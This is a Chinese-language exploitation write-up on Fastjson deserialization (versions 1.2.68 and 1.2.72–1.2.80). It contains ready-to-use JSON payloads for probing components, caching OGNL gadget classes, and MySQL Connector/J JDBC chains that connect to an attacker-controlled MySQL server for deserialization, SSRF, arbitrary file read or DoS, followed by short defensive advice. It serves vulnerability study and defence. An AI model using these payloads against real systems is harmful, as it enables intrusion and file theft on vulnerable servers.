FastJson1.68&1.80版本反序列化利用
字数 3101 2025-08-10 12:18:01

FastJson 1.68 & 1.80 版本反序列化漏洞分析与利用

前言

FastJson 在 1.2.25 版本以后默认关闭了 autoTypeSupport。反序列化的类必须满足以下任一条件才能成功反序列化:

  1. 在白名单中(关键字:internalWhite)
  2. 该类在 Fastjson 缓存中(当其他类被反序列化后,该类会加入 Fastjson 缓存,关键字:TypeUtils.mappings)
  3. 在 Deserializers 中(预先加载的反序列化器,详见 com/alibaba/fastjson/parser/ParserConfig.java#initDeserializers
  4. 在 checkAutoType 时存在 expectClass 并且待反序列化的类是其子类
  5. 开启 autoTypeSupport

0x01 判断组件是否存在

使用以下 payload 判断组件是否存在:

{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}}
  • java.lang.Characterjava.lang.Class 都在白名单中
  • java.lang.Class 会加载 val 中的类
  • java.lang.Character 的反序列化器 CharacterCodec 会试图将内容转换为 Char 导致报错

值得判断的组件(1.2.72 < 版本 <= 1.2.80):

  • org.postgresql.jdbc.PgConnection(PostgreSQL 组件)
  • com.mysql.jdbc.Driver(MySQL Connector/J 组件)
  • org.codehaus.groovy.control.CompilationFailedException(Groovy 组件)
  • org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException(AspectJ Tools)
  • ognl.OgnlExceptionorg.apache.commons.io.input.BOMInputStream(OGNL 和 Commons-IO 组件)

0x02 1.2.72 < 版本 <= 1.2.80 基础利用链

利用 JSONObject 加载类的属性到 Fastjson 缓存中,属性名需要有对应的 setter 方法,setter 设置的属性名会被加入到 ParserConfig.deserializers 缓存中。

以 OGNL 利用链为例:

  1. 利用 Exception 期望类将 ognl.OgnlException 加入缓存:
{"@type":"java.lang.Exception","@type":"ognl.OgnlException"}
  1. 通过 JavaBeanDeserializer 将该类的 public 属性实例化并加入缓存:
{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"ognl.OgnlException","_evaluation":{}}}

0x03 加载子类进 Fastjson 缓存

使用以下格式将子类加载到 Fastjson 缓存:

{"@type":"父类","@type":"子类"}

javaBeanDeserializerThrowableDeserializer 反序列化流程中会将子类加到 Fastjson 缓存中。

0x04 Fastjson 1.2.68 X JDBC 利用链

在 MySQL Connector/J 的不同版本中存在继承 java.lang.AutoCloseable 的类,可以通过 0x03 的方式加载到 Fastjson 缓存中。

不同版本的利用链

  1. MySQL Connector 5.x(利用后会报错结束):
{
  "@type":"java.lang.AutoCloseable",
  "@type":"com.mysql.jdbc.JDBC4Connection",
  "hostToConnectTo":"mysql.host",
  "portToConnectTo":3306,
  "info":{
    "user":"user",
    "password":"pass",
    "statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
    "autoDeserialize":"true",
    "NUM_HOSTS": "1"
  },
  "databaseToConnectTo":"dbname",
  "url":""
}
  1. MySQL Connector 6.0.2 或 6.0.3(服务器会持续向恶意 MySQL 服务器发送文件信息,可能导致 DOS):
{
  "@type": "java.lang.AutoCloseable",
  "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
  "proxy":{
    "connectionString":{
      "url": "jdbc:mysql://localhost:3306/foo?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
    }
  }
}
  1. MySQL Connector 8.0.19 及以上(反序列化/SSRF,同样存在持续发送文件信息的问题):
{
  "@type":"java.lang.AutoCloseable",
  "@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
  "proxy":{
    "@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
    "connectionUrl":{
      "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
      "masters": [{"host":"mysql.host"}],
      "slaves":[],
      "properties":{
        "host":"mysql.host",
        "port":"mysql.port",
        "user":"user",
        "dbname":"dbname",
        "password":"pass",
        "queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
        "autoDeserialize":"true"
      }
    }
  }
}

任意文件读取利用

  1. MySQL Connector 6.0.2 或 6.0.3
{
  "@type": "java.lang.AutoCloseable",
  "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
  "proxy":{
    "connectionString":{
      "url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"
    }
  }
}
  1. MySQL Connector 8.0.19 及以上
{
  "@type":"java.lang.AutoCloseable",
  "@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
  "proxy":{
    "@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
    "connectionUrl":{
      "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
      "masters": [{"host":"mysql.host"}],
      "slaves":[],
      "properties":{
        "host":"mysql.host",
        "user":"user",
        "dbname":"dbname",
        "password":"pass",
        "allowLoadLocalInfile":"true"
      }
    }
  }
}

注意:在 Fastjson 1.2.69 更新中将 java.lang.Runnablejava.lang.Readablejava.lang.AutoCloseable 加入了黑名单,导致这些利用链失效。

0x05 其他关键点

  1. expectClass 期望类型

    • java.io.Serializable
    • java.lang.Cloneable
    • java.io.Closeable
    • java.lang.AutoCloseable
    • java.lang.Readable
    • java.lang.Runnable
    • java.util.EventListener
    • java.lang.Iterable
    • java.util.Collection
    • java.lang.Object
  2. 白名单中的类:参考 LeadroyaL/fastjson-blacklist

  3. 判断 safeMode 是否开启

    • 返回 autoType is not support. com.sun.rowset.JdbcRowSetImpl:未开启 safeMode
    • 返回 safeMode not support autoType:已开启 safeMode
  4. 1.47 版本前的漏洞:可以通过 java.lang.Class 将其他类加入缓存中,之后序列化该类就不会受白名单限制。修复方式是 java.lang.Class 类对 val 类无法再将其加入缓存中(详见 com/alibaba/fastjson/serializer/MiscCodec.java#359

  5. 不同类使用不同反序列化器

    • java.lang.Class 使用 MiscCodec
    • java.lang.Character 使用 CharacterCodec
    • 详见 com/alibaba/fastjson/parser/DefaultJSONParser.java#396
  6. 构造函数要求:只有 public 级别的构造函数可以在 Fastjson 反序列化字符串中构造,否则会出现 default constructor not found 错误

  7. 反序列化构造函数选择

    • 优先使用无参数构造函数
    • 如果没有则使用参数最多的构造函数(为了兼容 bean 和 java 原生类的写法)
  8. $ref 的使用:可以用来获取对象属性,也可以用来触发 getter

  9. MySQL Connector 8.x 版本的注意事项

    • 8.0.18 以下版本 LoadBalancedConnectionProxyReplicationConnectionProxy 的构造函数不支持 ConnectionUrl 类型
    • LoadbalanceConnectionUrl 的两个构造函数参数数量相同会默认选第一个构造函数,而第一个构造函数的第一个参数的构造函数是私有的
    • ReplicationConnectionProxy 的构造函数变为私有的
  10. 持续连接问题:6.0.2 和 8.0.19 的 payload 都通过 pickNewConnection 进行连接,会导致无法停止的问题

防御建议

  1. 升级 Fastjson 到最新安全版本
  2. 开启 safeMode
  3. 严格限制反序列化的类,使用白名单机制
  4. 避免使用存在漏洞的 JDBC 驱动版本
  5. 对输入进行严格过滤和验证
FastJson 1.68 & 1.80 版本反序列化漏洞分析与利用 前言 FastJson 在 1.2.25 版本以后默认关闭了 autoTypeSupport。反序列化的类必须满足以下任一条件才能成功反序列化: 在白名单中(关键字:internalWhite) 该类在 Fastjson 缓存中(当其他类被反序列化后,该类会加入 Fastjson 缓存,关键字:TypeUtils.mappings) 在 Deserializers 中(预先加载的反序列化器,详见 com/alibaba/fastjson/parser/ParserConfig.java#initDeserializers ) 在 checkAutoType 时存在 expectClass 并且待反序列化的类是其子类 开启 autoTypeSupport 0x01 判断组件是否存在 使用以下 payload 判断组件是否存在: java.lang.Character 和 java.lang.Class 都在白名单中 java.lang.Class 会加载 val 中的类 java.lang.Character 的反序列化器 CharacterCodec 会试图将内容转换为 Char 导致报错 值得判断的组件(1.2.72 < 版本 <= 1.2.80): org.postgresql.jdbc.PgConnection (PostgreSQL 组件) com.mysql.jdbc.Driver (MySQL Connector/J 组件) org.codehaus.groovy.control.CompilationFailedException (Groovy 组件) org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException (AspectJ Tools) ognl.OgnlException 和 org.apache.commons.io.input.BOMInputStream (OGNL 和 Commons-IO 组件) 0x02 1.2.72 < 版本 <= 1.2.80 基础利用链 利用 JSONObject 加载类的属性到 Fastjson 缓存中,属性名需要有对应的 setter 方法,setter 设置的属性名会被加入到 ParserConfig.deserializers 缓存中。 以 OGNL 利用链为例: 利用 Exception 期望类将 ognl.OgnlException 加入缓存: 通过 JavaBeanDeserializer 将该类的 public 属性实例化并加入缓存: 0x03 加载子类进 Fastjson 缓存 使用以下格式将子类加载到 Fastjson 缓存: 在 javaBeanDeserializer 和 ThrowableDeserializer 反序列化流程中会将子类加到 Fastjson 缓存中。 0x04 Fastjson 1.2.68 X JDBC 利用链 在 MySQL Connector/J 的不同版本中存在继承 java.lang.AutoCloseable 的类,可以通过 0x03 的方式加载到 Fastjson 缓存中。 不同版本的利用链 MySQL Connector 5.x (利用后会报错结束): MySQL Connector 6.0.2 或 6.0.3 (服务器会持续向恶意 MySQL 服务器发送文件信息,可能导致 DOS): MySQL Connector 8.0.19 及以上 (反序列化/SSRF,同样存在持续发送文件信息的问题): 任意文件读取利用 MySQL Connector 6.0.2 或 6.0.3 : MySQL Connector 8.0.19 及以上 : 注意:在 Fastjson 1.2.69 更新中将 java.lang.Runnable 、 java.lang.Readable 和 java.lang.AutoCloseable 加入了黑名单,导致这些利用链失效。 0x05 其他关键点 expectClass 期望类型 : java.io.Serializable java.lang.Cloneable java.io.Closeable java.lang.AutoCloseable java.lang.Readable java.lang.Runnable java.util.EventListener java.lang.Iterable java.util.Collection java.lang.Object 白名单中的类 :参考 LeadroyaL/fastjson-blacklist 判断 safeMode 是否开启 : 返回 autoType is not support. com.sun.rowset.JdbcRowSetImpl :未开启 safeMode 返回 safeMode not support autoType :已开启 safeMode 1.47 版本前的漏洞 :可以通过 java.lang.Class 将其他类加入缓存中,之后序列化该类就不会受白名单限制。修复方式是 java.lang.Class 类对 val 类无法再将其加入缓存中(详见 com/alibaba/fastjson/serializer/MiscCodec.java#359 ) 不同类使用不同反序列化器 : java.lang.Class 使用 MiscCodec java.lang.Character 使用 CharacterCodec 详见 com/alibaba/fastjson/parser/DefaultJSONParser.java#396 构造函数要求 :只有 public 级别的构造函数可以在 Fastjson 反序列化字符串中构造,否则会出现 default constructor not found 错误 反序列化构造函数选择 : 优先使用无参数构造函数 如果没有则使用参数最多的构造函数(为了兼容 bean 和 java 原生类的写法) $ref 的使用 :可以用来获取对象属性,也可以用来触发 getter MySQL Connector 8.x 版本的注意事项 : 8.0.18 以下版本 LoadBalancedConnectionProxy 、 ReplicationConnectionProxy 的构造函数不支持 ConnectionUrl 类型 LoadbalanceConnectionUrl 的两个构造函数参数数量相同会默认选第一个构造函数,而第一个构造函数的第一个参数的构造函数是私有的 ReplicationConnectionProxy 的构造函数变为私有的 持续连接问题 :6.0.2 和 8.0.19 的 payload 都通过 pickNewConnection 进行连接,会导致无法停止的问题 防御建议 升级 Fastjson 到最新安全版本 开启 safeMode 严格限制反序列化的类,使用白名单机制 避免使用存在漏洞的 JDBC 驱动版本 对输入进行严格过滤和验证